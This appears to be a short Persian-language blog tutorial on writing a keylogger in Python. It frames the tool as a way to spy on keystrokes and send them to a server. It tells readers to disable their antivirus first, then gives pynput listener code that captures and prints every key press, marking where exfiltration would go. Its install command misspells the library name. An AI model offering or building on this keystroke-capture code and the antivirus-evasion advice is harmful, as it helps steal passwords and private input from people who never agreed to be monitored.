خب، اول از همه کیلاگر چیه؟
از اسمش هم معلومه، وسیله ای برای ذخیره کردن کلید های فشرده شده در کیبورده، یعنی به صورتی کار میکنه که با فشرده شدن یک کلید در کیبرد (یا کیبورد؟) اون کلید رو ذخیره میکنه در یک فایل تا بعدا برای سرور ارسالش کنه - البته مگه مرض داره خب همون موقع ارسال میکنه - ولی چه نوع هایی داره و چطور میشه یکی نوشت؟
کیلاگر ها 2 نوع هستند
نوع اول از نظری بهتره، چون میتونه با کیبرد های لیزری و... هم جاسوسی کنه.
نوع دوم از نظر آنتی ویروس محفوظه اما نوشتنش کمی سخته(اگر نگیم غیرممکنه!)
البته قبل از آموزش آنتی ویروس ویندوز یا خودتون رو غیرفعال کنید، من یک کیلاگر نوشتم زد پاکش کرد.
خب، بریم که باهم یکی بسازیم.
از زبان شیرین پایتون استفاده میکنیم.
اول از همه کتابخانه ی pynput
pip install pynpu
و بعد واردش میکنیم.
from pynput.keyboard import Listener
حالا نیاز داریم که یک تابع برای انجام کاری با اون کلید بنویسیم: تابع کلید رو دریافت میکنه و کاری که میخوایم رو انجام میده باهاش(ارسال به سرور و از این داستانا)
def key_log(key): try: print(key.char) except: print(key) # اینجا ما پرینتش میکنیم
حالا نوبت pynput -ه باید به تابعی که نوشتیم وصلش کنیم.
def keyboard(): with Listener(on_press=key_log) as lstn: lstn.join() keyboard()
و تمام!
حالا شما یک کیلاگر دیجیتالی دارید!